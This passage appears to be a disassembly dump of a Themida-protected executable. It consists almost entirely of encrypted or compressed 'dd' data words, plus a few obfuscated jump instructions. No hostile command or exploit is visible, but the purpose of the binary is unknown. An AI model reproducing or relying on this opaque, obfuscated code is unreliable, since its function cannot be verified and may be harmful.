69FB5D11h dd 0AD1FCA18h, 677DC9CEh, 2CAA1483h, 620D9497h, 100AD3F1h dd 41EC3A70h, 0D865ECFh, 0B01A566Dh, 0F25A4F25h, 0B728B154h dd 6FEF938Fh, 0EE6509Eh, 20BFB119h, 357941C4h, 0A7AAD52h dd 20130000h, 322616B4h, 423A2AC8h, 5C5242E0h, 736858F6h dd 0A1006D0Bh, 38D63E33h, 4FED5148h, 6806665Fh, 82207E78h dd 89B12283h, 907600AAh, 1A0F2B7Dh, 2A2414B2h, 0FDA2ECCh dd 0FEB4B715h, 7308A604h, 0CC3EE978h, 0C31AF263h, 810C766Dh dd 0FBB23F10h, 0FD004E69h, 0FBBE7FACh, 0FEDEB775h, 3035D32Ah dd 6C91ADEh, 6AC00000h, 0C435E063h, 69FB0463h, 3FB15CAAh dd 0B5AF7E64h, 184CC357h, 49E612FBh, 4BE30AB0h, 81ADFEE1h dd 9775FBD7h, 853B3E9Eh, 0C62A2D8Bh, 0E8BE2D0Dh, 32B9C25h dd 0A75FBD7h, 0D1B152BCh, 304EA6FDh, 0CBC59BDEh, 7CCA036Dh dd 70000006h, 3A62D35Ch, 416FE907h, 10C89F3h, 7D6FE6Fh dd 97E56FE9h, 22E354FFh, 7F69FB12h, 1E5D85F6h, 1E6C75FBh dd 0DC87D5B4h, 17AB0F06h, 9CD56EA6h, 7A5DC7A0h, 0FB6BFD29h dd 7C5C3575h, 2FE451A8h, 63598DEh, 0AD3E0000h, 0CF525982h dd 2F16B324h, 0B90769FBh, 877E54BFh, 60CA2023h, 0E57D8EDh dd 0A1808BEAh, 87EDE3ADh, 3BAC57EFh, 0F402065Eh, 0E1097A03h dd 0E8FBFE09h, 351309Ah, 278B8258h, 0D0D3392Fh, 0D22D107Ah dd 9CC435DBh, 0AAFBFE09h, 14F4EB4h, 0F0E8BE69h, 0CB358B8Eh dd 404ECF40h, 51FFF610h, 0B25DF55Bh, 2821E5DCh, 3BC630C8h dd 6F0D6B65h, 648E5ACCh, 0B8048FC7h, 1E7C764Eh, 4077B12Ch dd 10B598EFh, 8F8h, 9836A295h, 0AC4AB4A8h, 0C462C4BCh dd 0DA78DED4h, 0EF8DF5EAh, 0C0B52782h, 0D3CABA58h, 0E8E1D16Fh dd 0FAEA88h, 0A40504A2h, 0AB0B33h, 0ADFF1276h, 0B4B7150Fh dd 1880754Bh, 0A73A31AEh, 0A7488BFCh, 378569FEh, 0A7B20E99h dd 0D7487600h, 5940DC4Eh, 2CC17FFDh, 0AE3DFF98h, 41ABF6FEh dd 66116F69h, 2A446CDDh, 9D4B7600h, 0EC4245A3h, 0D76CEA54h dd 159E49D8h, 78E1C3A3h, 0DF3EE10Fh, 149A8E24h, 3AAD17AFh dd 7600D50Ah, 42AA9F75h, 7570C4AEh, 56C05B9Bh, 7DA51677h dd 8C760088h, 0EDA3A63Eh, 14EA95F3h, 5EB4B71Fh, 0AFEB76F4h dd 0E5760088h, 0CE382CECh, 83F59836h, 4AF63549h, 0AD85EFC3h dd 15255B3h, 962DFED5h, 0D5A4843Dh, 3CDF7DDBh, 0D1DC04CAh dd 1B7174DCh, 0EDF6BA87h, 53B1AB83h, 43D3FF50h, 894869D1h dd 82E0DAA9h, 15405E4h, 0FB30000h, 0FE5E5715h, 0A0DA5FBh dd 0A79B5B54h, 4CE43A3Dh, 7D0F849h, 0ECE66FE9h, 0B0228B8Eh dd 5949D91Ch, 54B6AE61h, 0D6D552BCh, 0CC2EA04Bh, 0BCAD7D47h dd 74E570DAh, 69FF0731h, 0B71C0E5Ch, 7E733090h, 7BEF69Bh dd 0DCCF0000h, 0EEE2D270h, 0FEF6E684h, 180EFE9Ch, 2F2414B2h dd 5DBC29C7h, 0F492FAEFh, 0BA90D04h, 24C2221Bh, 3EDC3A34h dd 456DDE3Fh, 547600ACh, 150FEF41h, 3D360CB7h, 0DA9073DDh dd 0EFDF7DE5h, 0EA1283F6h, 0F16FE907h, 0B09AFBA7h, 0D56D3E24h dd 0F9A14241h, 6901C456h, 8CF2E8BEh, 17883389h, 6FE919EFh dd 0C846B0FEh, 0E280DED8h, 0D73693Fh, 6ED6CBA3h, 58C0B56Bh dd 68E1D7ADh, 0E919CFF7h, 0F890DE6Fh, 0D68FAB8Eh, 840274F6h dd 3D86B5ACh, 7A6F47B1h, 0FBD17412h, 5C39A301h, 0D81E5B05h dd 0C4Ch, 0AD20F200h, 7F000000h, 0E34DB3A9h, 0B7150FA7h dd 51C24BB4h, 6FE90729h, 578E230h, 6FE917D9h, 8E91FBEFh dd 7C7FDFD8h, 1988681Fh, 12E1C180h, 0FD655A18h, 0DED7C765h dd 0C961D37Eh, 0D2FA6B2Fh, 0D96FE9FAh, 0E1B4F78Bh, 419275DFh dd 6FE93B14h, 3403E364h, 10817B3Bh, 0E93B779Fh, 0A038866Fh dd 0F1C76A08h, 3B9194FCh, 160F95D1h, 8B990BB6h, 3C94BC89h dd 0C2785BC5h, 35BE69C9h, 0E9F09CC4h, 0D142A36Fh, 6FE9F0A9h dd 60CA62B0h, 0C8A8617Dh, 2A000F9h, 0E9F7B677h, 0ED413E6Fh dd 30D81E5Fh, 0FFFFFE73h, 32920D6h, 0D7F0000h, 0AEE3E5B4h dd 336FD9B6h, 0B4B7150Fh, 0E9072763h, 0D8B8316Fh, 13B10F09h dd 1B11E770h, 0C95CB2B5h, 6FE907A1h, 18F05AA8h, 6CBDC01Eh dd 6FE90730h, 0B0E6C66h, 7B26BDB0h, 0FEA7C70Ah, 0AAE85A69h dd 2EFFDF06h, 0E7EA5448h, 0A01F991h, 0E34DA3A6h, 0A32A304h dd 117600FAh, 88392BC3h, 9173305Dh, 60A09AEh, 90830000h dd 0A2968624h, 0B2AA9A38h, 0CCC2B250h, 0E3D8C866h, 1170DD7Bh dd 0A846AEA3h, 0BF5DC1B8h, 0D876D6CFh, 0F290EEE8h, 0F92192F3h dd 7600AEh, 150F9BEDh, 6EE931BBh, 25BDB588h, 0AF776C22h dd 10BB53B9h, 0A085E99Eh, 9F09BC58h, 79373121h, 0B31C1F81h dd 0E96F1A42h, 3BD3216Fh, 0FE6FF8A3h, 6FE96FD6h, 0B0397E5h dd 0B46C4007h, 3D2DAB15h, 27DDE048h, 0AD1FCA32h, 250E3A5Dh dd 3E65082h, 7F4E2EE7h, 40390F8Ah, 63254DE0h, 0E6346FE9h dd 64BBB04Eh, 0ABD81DDBh, 227h, 0DC6F6A51h, 0F87A88D9h dd 0E5BE9107h, 7CDA3105h, 1021D70Ch, 0C7000002h, 31DC6F6Ah dd 0E90798C0h, 5659A76Fh, 7F8F705h, 86663F91h, 0C7D5BB2h dd 1F1A2D7h, 87F90000h, 7786DFD1h, 7CB822E2h, 31DC6F6Ah dd 0E9078CC0h, 2119EF6Fh, 6AD2C7BFh, 28D32100h, 0F3F65C52h dd 0FF50339Dh, 9107F8F1h, 0D8AC8C65h, 0D70C7C81h, 1BAC8h dd 6F6A6E00h dd 90C031DCh, 9F6FE907h, 9B34A651h, 224ABBF2h, 296FE92Fh dd 0B3547DBh, 0D021046Eh, 9108D6C2h, 0E9BD9D76h, 0D70B9E92h dd 18AD9h, 0EA5C7F00h, 0D3CD9B78h, 4DA7E175h, 908A62CCh dd 0F263DCD2h, 6FE99FCAh, 0E8EB83D1h, 8EF7FA92h, 0FAA6431Ch dd 0F45ED92Bh, 22C8221Ch, 7E1575Ah, 0C75CFA92h, 21923DC4h dd 69FBF164h, 0D3242775h, 75FBCFA7h, 4E461CDFh, 1E182ECh dd 3046D62Dh, 0F5CBDEh, 0D53F9598h, 399Ch, 636A4200h, 2F278780h dd 923DD537h, 0FB122021h, 0A5DF2969h, 0B000D217h, 1CF29D35h dd 9BFC224h, 53A9AC14h, 1D6E51BBh, 75FB71F1h, 9C705029h dd 0DE2FE545h, 0C18Ch, 150F3200h, 9FEB4B7h, 0EEE89EA1h dd 7E40C7Dh, 9DEB6FE9h, 524C0205h, 74870E1h, 9576FE9h dd 0B0B31D11h, 8124C25Ah, 0D6FE6FF8h, 0E56FE907h, 7DC0497h dd 95E36FE9h, 2BBB82Bh, 57516FE9h, 5ADC4EF9h, 0C9C40F6Bh dd 0F287056Fh, 34BD68FBh, 0FD006A5Eh, 0E7EA5247h, 9D65F991h dd 0ABC0CECBh, 0F8980B75h, 1769FE23h, 0EAAC1EC9h, 0DE463BFBh dd 7D1FC84Ah, 0BDB28813h, 0D2C7B755h, 553F786Ah, 0E3C67333h dd 3B73Eh, 77E3D600h, 8BF5E9D9h, 0A305FDEDh, 0B91F1505h dd 0CE362B1Bh, 0F664C330h, 0BFB9901h, 2212B014h, 3B2BC929h dd 4645E341h, 0B04C74E5h, 40537600h, 0B21A0FEEh, 0CC2A2414h dd 0EA5CDA2Eh, 0FCEB74BAh, 653DA773h, 0A10A0D6Bh, 5D7FA718h dd 71E26FE9h, 6FE95D49h, 0B5030250h, 1B79734Bh, 5DC5F27Dh dd 37366FE9h, 0FB9001ACh, 0A69FB69h, 0FCA1EBCh, 1753BB15h dd 0B448AEA4h, 9A1A2F8h, 2A94885Eh, 8467D127h, 1E16D4CEh dd 203B69C0h, 0D66E8B3Bh, 65343442h, 8F27AF7Ch, 0D2515CF1h dd 8FF9B627h, 0BA0869FBh, 81784EB7h, 0F4014321h, 2FC7F29Eh dd 362652C5h, 855E75FBh, 0AD7AD1A5h, 996FDE2Fh, 87E9E19Fh dd 2C962E84h, 7AF3h, 865C9900h, 0D3292C8Eh, 1983E1DBh dd 8EFF919Ch, 6FE90766h, 7BA31475h, 826FE907h, 59049C34h dd 7375FD0h, 0F8466FE9h, 9192038Eh, 0B869FB11h, 0EA16676Ah dd 75FB1Eh, 0ECA2A509h, 2E8B8EF8h, 0FC2C9777h, 2457B19Ah dd 956E44DCh, 6B8AE1B5h, 0A97FDE30h, 33A44FB1h, 75FBEC0Bh dd 215AC412h, 0F0h, 2419EF78h, 0D063B9BCh, 75FBECA8h, 54706DB7h dd 315C0627h, 0FF32F99h, 4BB4B715h, 157FC2D9h, 60B6B91Fh dd 0F05352CCh, 0E98E577Fh, 8018666Fh, 0E1493E16h, 0D02E28DEh dd 0BF1D17CDh, 0AEA87E21h, 7673E650h, 0AE6FE989h, 0C8B856B4h dd 0C4EC5DCEh, 1F6FE98Ah, 0E98A86AEh, 4847956Fh, 2A9B73FEh dd 8F27397Ah, 198BF4F7h, 0C585CFD6h, 8B0872DDh, 0E5560180h dd 69FB262Ch, 0CE710F5Dh, 9C9FFFF8h, 6C5FDC46h, 23B92AD5h dd 0EA700FCCh, 512824A0h, 0E074D7CFh, 307B61CEh, 20CB63F6h dd 4FED554Ah, 10026A5Fh, 79422DA5h, 0D9CC7154h, 0B4000001h dd 0C7B755C1h, 0DBCB69D3h, 0F3E381E3h, 9F997FDh, 0A10EAC14h dd 77DFD446h, 8EF2E9D9h, 0A70700F0h, 0C11F1909h, 52C32423h dd 7600B22Ah, 0FCC1E31h, 62E9F1Ah, 156FE907h, 0A1912FC7h dd 57AB49A7h, 3A62D35Ch, 416FE907h, 10C89F3h, 0C7CA2822h dd 8AFFD175h, 0A0381D0Dh, 0EBEC5D08h, 2269FBD1h, 9268D1D4h dd 0DF35389Ah, 0DED60275h, 350E75FBh, 522A8155h, 0D971DE30h dd 0C8000000h, 229DF9F2h, 488459E8h, 71AD17AFh, 65BB150Fh dd 6A92033Dh, 716FE9E8h, 6A808F23h, 9A701BB3h, 0E43A3DA5h dd 0ECE1977Ah, 0A03D984h, 0F45D40AAh, 5CC6241Eh, 0E9B0ECE9h dd 0CC2A246Fh, 0EA443E2Eh, 6603DF52h, 76791134h, 0E691101Bh dd 0ED2DEB5Dh, 38B2DA4Bh, 6BB96FE9h, 0D3F0A0D7h, 4A3DF669h dd 0FE4C69FBh, 394BBD60h, 0E75A56B7h, 151895FFh, 3B72E38Eh dd 62700FE8h, 9E936914h, 83F59836h, 810E6DA1h, 724AB4FFh dd 8823157Dh, 5D79422Eh, 0C6D57Ah, 0D4C70000h, 0E6DACA68h dd 0F6EEDE7Ch, 1006F694h, 271C0CAAh, 55B421BFh, 0EC8AF2E7h dd 3A105FCh, 1CBA1A13h, 36D4322Ch, 3D65D637h, 4C7600B3h dd 1A0FE739h, 719507B2h, 1FF52ADAh, 0C8B836A0h, 7ED270CEh dd 0CB7150Fh, 74DE3C36h, 0CFB62891h, 56A17ECFh, 98926AD4h dd 0E57DE5DAh, 28BBB247h, 2FD50C7Dh, 0AAF869FFh, 99F7F1A7h dd 0A0110BFBh, 2F072Fh, 30C81676h, 653BC42Dh, 0B1070A6Eh dd 2FF61Eh, 4DB70576h, 1724DADAh, 3A1AD121h, 0BCB3716Bh dd 8C15C058h, 0EAD9F31Bh, 42ACFAE2h, 7CDAD4C4h, 67CDC379h dd 6E4E0D64h, 0A947A59Fh, 5E61BFB9h, 0FB9h, 865C6700h dd 72D6CD8Dh, 7E81196Fh, 306CBE28h, 0ADB01C0Fh, 9C9FFDF7h dd 8A8DEDE6h, 7679DDD4h, 6063CBC0h, 4A4DB5AAh, 35389E94h dd 2225877Fh, 0B0E786Ch, 0E389534Dh, 301B850h, 0F7481D23h dd 2DE8D1D8h, 716E7E7Ch, 8358C301h, 1C8704EBh, 0B3685C24h dd 89000075h, 0AB682414h, 8900007Ah, 0BD55242Ch, 1B0E001Fh dd 19A061BAh, 8BEA311Dh, 0C481242Ch, 4, 4EC81h, 24890000h dd 24048324h, 73685D04h, 89000049h, 8B82404h, 1000000h dd 581089E8h, 5D2434FFh, 0FF04C483h, 835A2434h, 0E6E904C4h dd 0A9FFFAD1h, 29DE8730h, 0DB93B838h ; --------------------------------------------------------------------------- adc ebx, esi loc_5A183A: ; CODE XREF: Themida_:loc_5A0A3Fj mov eax, 617ADA3h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0CEh dd 4935BB2Dh, 3C0AABAAh, 0A2BBB48h, 213D767h, 14096E15h dd 0C57184EBh, 7A4B7F30h, 0E6306A12h, 8D4F0281h, 17AF018Dh dd 7D858B06h, 89061205h, 1209A18Dh, 10E806h, 0E35F0000h dd 2F124CD3h, 55904AF2h, 92C84BF3h, 0B5890EA2h, 6121E89h dd 585C758h, 88061205h, 6A000066h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0CD83C350h dd 87022FA2h, 4218503h, 81660612h, 0C73981EAh, 121BD985h dd 6, 2ACB8000h, 18C0Fh, 0FFF80000h, 121B85B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 90C002Ah, 12000D8Dh, 3195FF06h, 0F506121Bh, 95FF006Ah dd 61219CDh, 28EBC08Bh, 6116B1C0h, 3B008F8Dh, 0F1D7A00Dh dd 47D629C4h, 502C0D0Fh, 0D69BD0FFh, 53B661D1h, 0CE17DDA0h dd 0C0DCC150h, 0B89D22F8h, 178E9h, 5097DF00h, 186A7C2Dh dd 0E44ED284h, 395A904Ch, 3254AB0Bh, 3154B052h, 3A5AB70Bh dd 11738D52h, 4326873Bh, 0B8728852h, 0BCC62CD0h, 4B4BC9Ch dd 7517CF52h, 12852h, 0 dd 400h, 2 dup(0) dd 2F00h, 0 dd 800h, 0 dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 43h dup(0) dd 1804E900h, 0AA680000h, 0E90617B2h, 0FFFB9A3Eh, 17B39C68h dd 9A34E906h, 8368FFFBh, 0E90617B4h, 0FFFB9A2Ah, 17B55168h dd 9A20E906h, 5268FFFBh, 0E90617B7h, 0FFFB9A16h, 17B8A968h dd 9A0CE906h, 8268FFFBh, 0E90617B9h, 0FFFB9A02h, 17BA4B68h dd 99F8E906h, 0F268FFFBh, 0E90617BCh, 0FFFB99EEh, 17BDD268h dd 99E4E906h, 8D68FFFBh, 0E90617BEh, 0FFFB99DAh, 17BF2068h dd 99D0E906h, 568FFFBh, 0E90617C1h, 0FFFB99C6h, 17C62768h dd 99BCE906h, 2668FFFBh, 0E90617C7h, 0FFFB99B2h, 7BFDFC3h dd 6BEE8BDh, 4BCEABCh, 0B8E6BAh, 1B9EDB6h, 7B28DF91h, 7629732Bh dd 7E267028h, 7B267028h, 504B6B23h, 9618D23Ah, 8C0987B3h dd 0FD96247Dh, 45427BA6h, 98E0D1A4h, 0B7479A0Ch, 722A742Dh dd 7D6E2D5Eh, 0DCC30BC4h, 428C74C2h, 0EC1B581h, 2E086DBBh dd 5C2DBB93h, 6F66DE46h, 0DE0934Ch, 66C3257Dh, 0CDC94C6Fh dd 0EB9FB854h, 42D56A40h, 20000000h, 0D2C386B3h, 93C10FBCh dd 0ED7D30BBh, 6C415395h, 0B9B0B4Ch, 0EFAFF17Bh, 0E47D795Fh dd 8E938FE1h, 941291D9h, 0D662F541h, 64E36A41h, 3E6339A2h dd 53F7A960h, 0E8BEE565h, 66287B58h, 0F6h, 0CD247DB1h dd 5D3ACAD4h, 0C01A998Ah, 90EF3AD1h, 0E06AFA4Dh, 5853E3C3h dd 83139310h, 0CED353A6h, 0EBB640D0h, 74E3FBB3h, 8EB581C6h dd 89D38B13h, 3DE8A218h, 42A4D462h, 0AFC57E6Fh, 0B581D549h dd 66F649FCh, 3122E112h, 31753078h, 2371C4A1h, 0BB93D67Eh dd 70843CEFh, 478F8043h, 0D9B64658h, 947F9586h, 7542782Ch dd 0F94C762Dh, 0CF048335h, 320F9F72h, 96873ADFh, 0C151554Eh dd 58A091E4h, 0E8A35B4Bh, 10A006A0h, 4360E033h, 1FC92F45h dd 0FEA14658h, 142AFBA0h, 46581FECh, 8DBAE61h, 0DA87174Ah dd 0B189213Ah, 1554h, 6B237B27h, 6A228421h, 68208620h dd 641C821Eh, 651D891Ah, 178C7BF5h, 128DD78Fh, 1A8AD48Ch dd 178AD48Ch, 0B4AFCF87h, 961B769Eh, 0F06DEBB3h, 529C267Dh dd 2461CCB2h, 0EA34ECBFh, 0AEF6E7B7h, 762EAEF8h, 70C3A030h dd 0C40C5BB8h, 5835C5E1h, 0A9AB5167h, 0EB9EB581h, 7A3D4E98h dd 0B452A1C8h, 722C75D3h, 0C5DBCC9Fh, 0BB936B04h, 9EF68639h dd 4C6F3B4Ah, 31DD4642h, 6A412D26h, 0AF4Eh, 247D9900h dd 0BD753396h, 0F7CAE258h, 0F7058706h, 7FE1118Fh, 91129C2Ch dd 0E7673768h, 8111E4BAh, 81668A29h, 0D1CDD4B5h, 0CCD2CF19h dd 0F8DBE83Ch, 6988F107h, 0ABDBB93h, 0CED0D119h, 560E613Eh dd 61523142h, 78979F4Bh, 0FAEB9E42h, 0B1C52B41h, 0C578465Bh dd 6A398172h, 2FCC4B3Ch, 208BADDEh, 0A4EEA6F9h, 0FCE9A7FFh dd 0B63AD9C7h, 1462461Eh, 89190000h, 92135D15h, 94125C14h dd 90105A12h, 970C560Eh, 89E7570Fh, 0C981257Eh, 0C67E207Fh dd 0C67E287Ch, 0C179257Ch, 6890A6A1h, 0DDB3961Ah, 267DE25Fh dd 42D2CCD3h, 90DA9265h, 78D58D11h, 0D73D530Ch, 8AB581A9h dd 9D0484D7h, 2E767101h, 16A03076h, 0AC89198Dh, 9B0686D9h dd 0A5014B03h, 0BAE77101h, 34D82CE4h, 3FDE81B2h, 68A1C920h dd 293F3003h, 0BB93DC6Ch, 8C9C5609h, 54E63F5Bh, 56470A37h dd 524C559Dh, 40D0CED2h, 19C21063h, 4EB9F002h, 57B9DDB7h dd 0CFA26234h, 17DEEB3Fh, 3896C61Ch, 0E2D3A678h, 0C666D7CCh dd 4435E847h, 7C0CF2C5h, 9F07FF56h, 0C79A7707h, 4BCA8374h dd 3BF1FD73h, 8819997Eh, 56A98616h, 77EFCBD6h, 8563F5A0h dd 53268024h, 237EC880h, 6DDEBD7Bh, 0E8803F38h, 137B10h dd 0FCA20000h, 0FBABFA44h, 0F9ADF943h, 0F5A9F741h, 0F6B0F33Dh dd 63A2CE3Eh, 64AE6640h, 61AB633Bh, 61AB6343h, 86A65E40h dd 1D8F758Bh, 44C2B396h, 7A247DC7h, 970EFEAh, 695B8315h dd 0B34051D9h, 0C6AD86FCh, 813D48B0h, 774AFDB5h, 0EAA9DA24h dd 476AE3F9h, 0C70FBB93h, 55DEE4DEh, 4B3DED58h, 0B80BE878h dd 5EA86013h, 77CB5B43h, 8096874Ah, 42777C4Dh, 8ED6C77Ah dd 0B1576D13h, 0C94657DFh, 7124C9DDh, 0DF826A80h, 4B74657h dd 722F7931h, 3B489C2Ch, 0DFFC243Ah, 11714657h, 6C3F1294h dd 2F4A657Bh, 0CC7F484Fh, 0AC0E93DBh, 9C8EFF10h, 7F370A90h dd 0A2326C35h, 6D5E3D4Eh, 2D9C2A57h, 9A580B56h, 2EAF2421h dd 0ADE3BB53h, 0CE000012h, 0C812CAD4h, 0C711C9DDh, 0C50FC7DFh dd 0C10BC3DBh, 9C0CC4E2h, 347231D4h, 316D327Ch, 31752F79h dd 2C722F79h, 43595474h, 0B3961CDDh, 0C951290h, 0A9D73D53h dd 0B98AB581h, 81A97DA3h, 6A3DF0B5h, 9A0C9717h, 0C0BDCEE2h dd 81A942AAh, 7144F7B5h, 4BB1C780h, 0FEB581A9h, 0CED8CB4Bh dd 1D0E613Eh, 1E881C64h, 0AAC0B18Eh, 0B581A942h, 0A3F144F7h dd 0BB93BDFEh, 3575D86Fh, 91BD1FFFh, 82D8F8DAh, 28FBDC99h dd 0ECB2EF37h, 0C60E0999h, 5C39C9DDh, 86188909h, 6D9413CEh dd 97AEE76Ch, 643DBD10h, 9F01493Ah, 24F7961Bh, 6C3FE8D1h dd 1CACFFDCh, 0A4BABBC8h, 4C6C697Ch, 941291F1h, 0D4542704h dd 6643D3CBh, 7B8CA293h, 70427E77h, 1B7BA1B7h, 3BEE465Ah dd 0BCE343E8h, 0A57F0FE2h, 644262AAh, 5DC3D9D4h, 10465A1Bh dd 3D378A5Dh, 0F1ADF424h, 35142539h, 0F452E44h, 66AE4848h dd 0F9D66640h, 0BE4E01A6h, 0CB267BC3h, 68F8CBDBh, 0DE0C6DEh dd 37673ABAh, 5CC5C1A7h, 0D1C281B2h, 5A23D6BBh, 7A278756h dd 0A3762877h, 0AB633613h, 0CE5E4061h, 3632B276h, 0C30B2652h dd 1B8B19E0h, 66FBF548h, 9E02EFB2h, 6C11F21Ch, 1EF12D8Fh dd 43DB5A4Bh, 2C03C1AEh, 0F0AEF171h, 78308360h, 3A2B732Eh dd 0F1ADF2h, 367A02EAh, 31843752h, 5D3C4DA1h, 6B8D566Ch dd 62C25C24h, 0D48C5F3Fh, 4A77BF80h, 5EDD9687h, 0EE6F22F1h dd 596F60F6h, 542427B3h, 52A0F3A6h, 5A3CD777h, 0E5C1E444h dd 0CCD92112h, 1A6D4ADAh, 21851E60h, 77EF3991h, 0BF3E6E0Ch dd 277F45BAh, 5B12EF7Fh, 89DC656Ah, 5E4F323Fh, 52698FA5h dd 0A4016E0Ch, 0F0957202h, 0E3F9EA3Dh, 6014A2C0h, 95142F5h dd 44E0698h, 27CDE39Dh, 1A60F7E5h, 0E5B9E767h, 15A57855h dd 0D3D3D21Ah, 3A30080h, 757D4245h, 845CF41Ch, 10ACh, 13CBD3CFh dd 12CADCC9h, 10C8DEC8h, 0CC4DAC6h, 0DC5E1C2h, 6F34D39Dh dd 6A357F37h, 72327C34h, 6F327C34h, 5C57772Fh, 961EDE46h dd 981593B3h, 0CED3267Dh, 0FB45FDD0h, 0DE68F8A6h, 31752EC3h dd 5A7ECE5Eh, 0E9011C1h, 0BF174056h, 0A25D642Fh, 0A8000001h dd 0EA7A247Dh, 0A55D4160h, 0F51B31EAh, 68B581A9h, 0F5E97BD1h dd 0BC8F0A2Dh, 2F121F69h, 254F283Eh, 35E8BB93h, 6D9B4DA5h dd 0E3C34C6Fh, 0F6A933C3h, 363218A8h, 4C489A2Dh, 554A92D7h dd 0ADAAF649h, 0C76A40F6h, 6Fh, 0C386B312h, 0D2D119D2h dd 963381D4h, 5BBB93C1h, 2DD3E9A2h, 204C6C41h, 41F91F6Dh dd 15914C6Ch, 7F240191h, 21D479CCh, 579BB130h, 9677D115h dd 29069610h, 0A94F6556h, 9C4C6CE7h, 0AE0696E9h, 4C6CE77Ah dd 0F1078124h, 4C6CE70Bh, 28B88B3Eh, 0D9D019Eh, 0FD8099BDh dd 9AAAAFABh, 6A4270BDh, 66E0988h, 860814E8h, 907133h dd 7DBC0000h, 60EA7A24h, 49D36343h, 0D554658h, 27B70A94h dd 667C049Dh, 0B581A9BEh, 752D00B3h, 81AEFE5Dh, 59908B5h dd 0CBD3CC14h, 530B5E3Bh, 5E4F323Fh, 69AE1848h, 796A1D44h dd 7C347231h, 77357132h, 30E87E36h, 55AC841Ch, 2600000Fh dd 206A227Ch, 1F692185h, 1D671F87h, 19631B83h, 0F4641C8Ah dd 8C1A897Ch, 89158AD4h, 891D87D1h, 841A87D1h, 9BB1ACCCh dd 0B3961175h, 0CED6AE8h, 8F17E2C4h, 0D7AA8717h, 79F0484h dd 29C054Fh, 247DED4Ah, 4160EA7Ah, 0A9C3293Fh, 0C376B581h dd 0B3EE38F0h, 0BE3E683Eh, 5AEABDE1h, 1688175Fh, 894879C3h dd 0DC60DF98h, 0F036ABFh, 0DFBFE161h, 9713E8Ch, 7326BB93h dd 4DB3C982h, 4C6F09h, 0B28C2469h, 0DE0606Eh, 8E4702BAh dd 6F5F9078h, 0E7B7EA4Ch, 6E3C8F42h, 86Ah, 80267DD1h, 58C0D68Fh dd 0DB581A9h, 1F77075Ah, 0B581A9C5h, 0EADBBECBh, 9959E9D4h dd 3A2BDEBBh, 37EFAFF2h, 5AEAB4EDh, 8026D3D0h, 0E6B99626h dd 0EB607128h, 532BC330h, 0E7Ch, 43FBA3FFh, 42FAACF9h dd 40F8AEF8h, 3CF4AAF6h, 3DF5B1F2h, 3F64A3CDh, 3A65AF67h dd 4262AC64h, 3F62AC64h, 8C87A75Fh, 96108E76h, 0C845C3B3h dd 0C880267Dh, 0D8CE237Eh, 2D433ECEh, 0B581A9C7h, 21F4C77Ah dd 49A0791h, 1B002474h, 0C3B4EAB7h, 2679257Bh, 0BEFF586Eh dd 1775642Fh, 62000000h, 0C518861Ah, 0B47AAF32h, 0FDDB581h dd 0FFFFFDB4h, 0CAD4CC14h, 75AFE477h, 5BB581A9h, 647A6B2Eh dd 0BB995971h, 0A4DCF66h, 0AD366DD7h, 69B47197h, 5E31E44Ch dd 53529A8Bh, 0F5E6C353h, 69B439DFh, 26792C4Ch, 3DB4ED35h dd 0D0AD3D69h, 0DFC40CFDh, 4A1D891Ah, 0ACF53FF7h, 0CBD862F2h dd 2C8C1DDBh, 16AE30EBh, 0DB33Eh, 0C4DAC800h, 0C3E3C20Ch dd 0C1E5C10Bh, 0BDE1BF09h, 0BEE8BB05h, 2BDA9606h, 2C762E78h dd 29732B73h, 29732B7Bh, 4E6E2678h, 13D73D53h, 0C8AB396h dd 458D0C8Fh, 0FCAAFA94h, 0B5834745h, 0DFBFE262h, 0C2DCC54Fh dd 0A5BEE232h, 0BA722C75h, 2F55B3A4h, 0DC164h, 0AF0C0000h dd 0B581B47Ah, 0FCFA0FDDh, 0C72FFFFh, 0A9D73D53h, 2A8AB581h dd 4572A7Ch, 0D9CA89BAh, 0BB183D5Ah, 53699A19h, 0B581D8ADh dd 9A1AEDA0h, 2D0A9A0Ch, 0E830E9DAh, 4AB2C8B8h, 0FFB581D8h dd 0CE9794Ch, 0F989158Ch, 0FE7BC91Ch, 1FBB93C0h, 9115E4BFh dd 0DF6F4215h, 9D099CE4h, 0C02BFC4Ah, 2F714C6Fh, 4F55DF6Fh dd 0C0FD2339h, 0BD704C6Fh, 0A7C95AEAh, 5F475EB2h, 0CD1FF2CFh dd 0BBBE5BDAh, 0F03F923Ch, 8EBEA39Dh, 6A41A4C9h, 216ABh dd 0A5AFF600h, 0A2B581AAh, 0AF425FBFh, 421FAFF7h, 43FCB76Fh dd 81A9C72Dh, 74C77AB5h, 61F1ADF4h, 81AA4709h, 84CCC7B5h dd 0FAF58521h, 7E563CE4h, 0AB7E314Ah, 0A4C55E58h, 4524CB25h dd 0C0B1E843h, 7E1742AAh, 0F144F74Ah, 0E3C13071h, 2438F0C3h dd 0AAA53516h, 577E4462h, 0E705D1A8h, 27049467h, 514D54D4h dd 55FDE99h, 20AF7F8Fh, 534ECE21h, 1163BB4Bh, 974A7E1Ch dd 59455CA4h, 9F99ECC9h, 5CD8ABAh, 8CA76430h, 0F2000001h dd 0EA7A247Dh, 0F3B04160h, 734623B3h, 0CB8100BBh, 0E4545B9h dd 366837B7h, 0A96899E3h, 61F5A2B8h, 0AF62BB93h, 9EF05BEh dd 3C4C6F20h, 0ABA63689h, 0D1613D63h, 0A5693DF4h, 1BB7BDF7h dd 0E4AE7AC8h, 0B4F04C6Fh, 0CBD862F2h, 6D714BDBh, 837FD1F4h dd 6DE96E9Eh, 528B6A41h, 0D6000000h, 8F1686B3h, 0D4534417h dd 8EE4716Ah, 0A899EC7Ch, 0F82036EFh, 21B5818Ah, 818AE50Bh dd 0A558B5h, 13A303A0h, 0BEE36336h, 207350E0h, 93E271D2h dd 39346BBh, 6FA279ABh, 145C4F4Ch, 0C8C21591h, 0B3A4B353h dd 0D6D06A41h, 0BD000000h, 1F722C75h, 3D530C8Ch, 0B581A9D7h dd 484D78Ah, 0C810019Dh, 0E676C9DDh, 0F2B2475Ch, 0C74724B4h dd 5A37C7DFh, 574E9687h, 8FE2BF4Fh, 722C75FFh, 554958E2h dd 0C24E859Dh, 0F9A8B581h, 0B332EDA5h, 227288F8h, 0F74194E8h dd 1607CAh, 4469DAA0h, 0C21F3ED5h, 23E1C1A9h, 1EF41C32h dd 0B6694C6Bh, 2339F2E3h, 4C6B1EFDh, 796ABD70h, 